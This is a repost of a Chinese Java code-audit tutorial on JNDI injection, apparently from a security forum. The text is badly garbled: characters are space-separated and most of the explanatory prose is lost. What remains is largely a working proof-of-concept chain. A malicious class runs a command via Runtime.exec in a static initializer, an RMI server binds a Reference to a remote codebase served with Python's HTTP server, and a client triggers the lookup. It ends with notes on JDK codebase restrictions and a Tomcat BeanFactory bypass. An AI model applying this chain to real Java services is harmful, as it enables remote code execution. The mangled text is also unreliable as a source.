[26730] 2021-06-09_Java代码审计系列之JNDI注入

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2021-06-09_Java代码审计系列之JNDI注入 J a v a   J N D I m o o n s e c   2 0 2 1 - 0 6 - 0 9   0 x 0 1   J a v a R M I J N D I J R M P R M I J a v a R M I C V E - 2 0 1 7 - 3 2 4 1 R M I 便 j n d i j n d i 0 x 0 2   j n d i J N D I   J a v a   J a v a   N a m i n g   a n d   D i r e c t o r y   I n t e r f a c e J 2 E E J N D I J 2 E E E J B J D B C   . / / : e v a l s h e l l . c o m C o n n e c t i o n   j d b c c o n n = n u l l ;   t r y   {     C l a s s . f o r N a m e ( " c o m . m y s q l . j d b c . D r i v e r " ) ;     j d b c c o n n = D r i v e r M a n a g e r . g e t C o n n e c t i o n ( " j d b c : m y s q l : / / M y D B S e r v e r ? u s e r = x x x & p a s s w o r d = x x x " ) ;     . . . . . .     j d b c c o n n . c l o s e ( ) ;   }   c a t c h ( E x c e p t i o n   e )   {     e . p r i n t S t a c k T r a c e ( ) ;   }   f i n a l l y   {     i f ( j d b c c o n n ! = n u l l )   {       t r y   {         j d b c c o n n . c l o s e ( ) ;       }   c a t c h ( S Q L E x c e p t i o n   e )   {                     }   }
1 .   J a v a M y s q l 1   J D B C   U R L 2 D B 2 O r a c l e J D B C 3 使 J a v a L o w B J N D I 0 x 0 3   使 使 J N D I j n d i r m i j n d i r m i , j n d i 访 , 访 r m i l d a p j n d i j n d i 访 r m i l d a p 访 J N D I -   b i n d
-   l o o k u p I H e l l o . j a v a p a c k a g e   c o m . e v a l s h e l l . j n d i ; i m p o r t   j a v a . r m i . R e m o t e ; i m p o r t   j a v a . r m i . R e m o t e E x c e p t i o n ; p u b l i c   i n t e r f a c e   I H e l l o   e x t e n d s   R e m o t e   {         p u b l i c   S t r i n g   S a y H e l l o ( S t r i n g   n a m e )   t h r o w s   R e m o t e E x c e p t i o n ; } I H e l l o I m p l . j a v a p a c k a g e   c o m . e v a l s h e l l . j n d i ; i m p o r t   j a v a . r m i . R e m o t e E x c e p t i o n ; i m p o r t   j a v a . r m i . s e r v e r . U n i c a s t R e m o t e O b j e c t ; p u b l i c   c l a s s   I H e l l o I m p l   e x t e n d s   U n i c a s t R e m o t e O b j e c t   i m p l e m e n t s   I H e l l o   {         p u b l i c   I H e l l o I m p l ( )   t h r o w s   R e m o t e E x c e p t i o n   {                 s u p e r ( ) ;         }         @ O v e r r i d e         p u b l i c   S t r i n g   S a y H e l l o ( S t r i n g   n a m e )   t h r o w s   R e m o t e E x c e p t i o n   {                 r e t u r n   " H e l l o   "   +   n a m e ;         } } C a l l S e r v i c e . j a v a
p a c k a g e   c o m . e v a l s h e l l . j n d i ; i m p o r t   j a v a x . n a m i n g . C o n t e x t ; i m p o r t   j a v a x . n a m i n g . I n i t i a l C o n t e x t ; i m p o r t   j a v a . r m i . r e g i s t r y . L o c a t e R e g i s t r y ; i m p o r t   j a v a . r m i . r e g i s t r y . R e g i s t r y ; i m p o r t   j a v a . u t i l . P r o p e r t i e s ; p u b l i c   c l a s s   C a l l S e r v i c e   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n {                 P r o p e r t i e s   e n v   =   n e w   P r o p e r t i e s ( ) ;                 e n v . p u t ( C o n t e x t . I N I T I A L _ C O N T E X T _ F A C T O R Y ,   " c o m . s u n . j n d i . r m i . r e g i s t r y . R e g i s t r y C o n t e x t F a c t o r y " ) ;                 e n v . p u t ( C o n t e x t . P R O V I D E R _ U R L ,   " r m i : / / l o c a l h o s t : 1 0 9 9 " ) ;                 C o n t e x t   c t x   =   n e w   I n i t i a l C o n t e x t ( e n v ) ;                 R e g i s t r y   r e g i s t r y   =   L o c a t e R e g i s t r y . c r e a t e R e g i s t r y ( 1 0 9 9 ) ;                 I H e l l o   h e l l o   =   n e w   I H e l l o I m p l ( ) ;                 r e g i s t r y . b i n d ( " h e l l o " ,   h e l l o ) ;                 I H e l l o   r h e l l o   =   ( I H e l l o )   c t x . l o o k u p ( " r m i : / / l o c a l h o s t : 1 0 9 9 / h e l l o " ) ;                 S y s t e m . o u t . p r i n t l n ( r h e l l o . S a y H e l l o ( " f e n g x u a n " ) ) ;         } }
J N D I j n d i j n d i u r l r m i   d e m o j n d i   d e m o 访 J N D I J N D I J N D I @ p w n t e s t e r B l a c k H a t R M I J N D I R M I l o o k u p ( ) R M I J N D I R M I R e f e r e n c e s R e f e r e n c e R e f e r e n c e a b l e . g e t R e f e r e n c e ( ) l o o k u p ( ) o b j e c t   f a c t o r y f a c t o r y r e f e r e n c e 1 .   I n i t i a l C o n t e x t . l o o k u p ( U R I ) U R I 2 .   U R I R M I r m i : / / h a c k e r _ r m i _ s e r v e r / / n a m e 3 .   R M I R e f e r e n c e R e f e r e n c e F a c t o r y 4 .   l o o k u p ( ) F a c t o r y f a c t o r y . g e t O b j e c t I n s t a n c e ( ) 5 .   F a c t o r y g e t O b j e c t I n s t a n c e ( ) R C E J N D I R M I l o o k u p ( ) J N D I R e f e r e n c e N a m i n g M a n a g e r . g e t O b j e c t I n s t a n c e ( )
1 .   p a c k a g e   c o m . e v a l s h e l l . j n d i ; i m p o r t   j a v a x . l a n g . m o d e l . e l e m e n t . N a m e ; i m p o r t   j a v a x . n a m i n g . C o n t e x t ; i m p o r t   j a v a . i o . B u f f e r e d I n p u t S t r e a m ; i m p o r t   j a v a . i o . B u f f e r e d R e a d e r ; i m p o r t   j a v a . i o . I O E x c e p t i o n ; i m p o r t   j a v a . i o . I n p u t S t r e a m R e a d e r ; i m p o r t   j a v a . u t i l . H a s h M a p ; p u b l i c   c l a s s   B a d O b j e c t   {         p u b l i c   s t a t i c   v o i d   e x e c ( S t r i n g   c m d )   t h r o w s   I O E x c e p t i o n   {                 S t r i n g   s b   =   " " ;                 B u f f e r e d I n p u t S t r e a m   b u f f e r e d I n p u t S t r e a m   =   n e w   B u f f e r e d I n p u t S t r e a m ( R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) . g e t I n p u t S t r e a m ( ) ) ;                 B u f f e r e d R e a d e r   i n B r   =   n e w   B u f f e r e d R e a d e r ( n e w   I n p u t S t r e a m R e a d e r ( b u f f e r e d I n p u t S t r e a m ) ) ;                 S t r i n g   l i n e S t r ;                 w h i l e ( ( l i n e S t r   =   i n B r . r e a d L i n e ( ) )   ! =   n u l l ) {                         s b   + =   l i n e S t r + " n " ;                 }                 i n B r . c l o s e ( ) ;                 i n B r . c l o s e ( ) ;         }         p u b l i c   O b j e c t   g e t O b j e c t I n s t a n c e ( O b j e c t   o b j ,   N a m e   n a m e ,   C o n t e x t   c o n t e x t ,   H a s h M a p < ? ,   ? >   e n v i r o n m e n t )                 r e t u r n   n u l l ;         }         s t a t i c   {                 t r y {                         e x e c ( " g n o m e - c a l c u l a t o r " ) ;                 } c a t c h   ( E x c e p t i o n   e ) {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         }
s t a t i c 2 .   r m i R e f e r e n c e r m i 3 .   } p a c k a g e   c o m . e v a l s h e l l . j n d i ; i m p o r t   c o m . s u n . j n d i . r m i . r e g i s t r y . R e f e r e n c e W r a p p e r ; i m p o r t   j a v a x . n a m i n g . N a m i n g E x c e p t i o n ; i m p o r t   j a v a x . n a m i n g . R e f e r e n c e ; i m p o r t   j a v a . r m i . A l r e a d y B o u n d E x c e p t i o n ; i m p o r t   j a v a . r m i . R e m o t e E x c e p t i o n ; i m p o r t   j a v a . r m i . r e g i s t r y . L o c a t e R e g i s t r y ; i m p o r t   j a v a . r m i . r e g i s t r y . R e g i s t r y ; p u b l i c   c l a s s   S e r v e r   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   R e m o t e E x c e p t i o n ,   N a m i n g E x c e p t i o n ,   A l r e a d y B o u n d E x c e p t i o n   {                 R e g i s t r y   r e g i s t r y   =   L o c a t e R e g i s t r y . c r e a t e R e g i s t r y ( 1 1 0 0 ) ;                 S t r i n g   u r l   =   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 7 7 7 7 / " ;                 S y s t e m . o u t . p r i n t l n ( " C r e a t e   R M I   r e g i s t r y   o n   p o r t   1 1 0 0 " ) ;                 R e f e r e n c e   r e f e r e n c e   =   n e w   R e f e r e n c e ( " E v i l O b j " ,   " E v i l O b j " ,   u r l ) ;                 R e f e r e n c e W r a p p e r   r e f e r e n c e W r a p p e r   =   n e w   R e f e r e n c e W r a p p e r ( r e f e r e n c e ) ;                 r e g i s t r y . b i n d ( " e v i l " ,   r e f e r e n c e W r a p p e r ) ;         } }
l o o k u p r m i c l a s s c l a s s p y t h o n H T T P   S e r v e r : 7 7 7 7 H T T P   S e r v e r S e r v e r r m i   r e g i s t r y p a c k a g e   c o m . e v a l s h e l l . j n d i ; i m p o r t   j a v a x . n a m i n g . C o n t e x t ; i m p o r t   j a v a x . n a m i n g . I n i t i a l C o n t e x t ; i m p o r t   j a v a x . n a m i n g . N a m i n g E x c e p t i o n ; p u b l i c   c l a s s   C l i e n t   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   N a m i n g E x c e p t i o n   {                 C o n t e x t   c o n t e x t   =   n e w   I n i t i a l C o n t e x t ( ) ;                 c o n t e x t . l o o k u p ( " r m i : / / l o c a l h o s t : 1 1 0 0 / e v i l " ) ;         } } p y t h o n   - m   S i m p l e H T T P S e r v e r   7 7 7 7
J D K 1 . 7 J D K 1 . 8   使 J N D I   S e r v e r R e f e r e n c e J D K   8 u 1 9 1 L D A P   J N D I   R e f e r e n c e T i p s :   J D K   8 u 1 0 2 使 R M I   S e r v e r   +   J N D I   R e f e r e n c e   c o m . s u n . j n d i . r m i . o b j e c t . t r u s t U R L C o d e b a s e   f a l s e J D K P a y l o a d J D K C l a s s R e f e r e n c e   F a c t o r y J D K 8 u 1 9 1 F a c t o r y R e f e r e n c e F a c t o r y   C l a s s C L A S S P A T H   j a v a x . n a m i n g . s p i . O b j e c t F a c t o r y     g e t O b j e c t I n s t a n c e ( )   o r g . a p a c h e . n a m i n g . f a c t o r y . B e a n F a c t o r y   o r g . a p a c h e . n a m i n g . f a c t o r y . B e a n F a c t o r y   T o m c a t 使 广 o r g . a p a c h e . n a m i n g . f a c t o r y . B e a n F a c t o r y     g e t O b j e c t I n s t a n c e ( )   R e f e r e n c e B e a n   C l a s s s e t t e r B e a n   C l a s s R e f e r e n c e h t t p s : / / t n t a x i n . b l o g . c s d n . n e t / a r t i c l e / d e t a i l s / 1 0 5 5 8 6 6 9 1

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则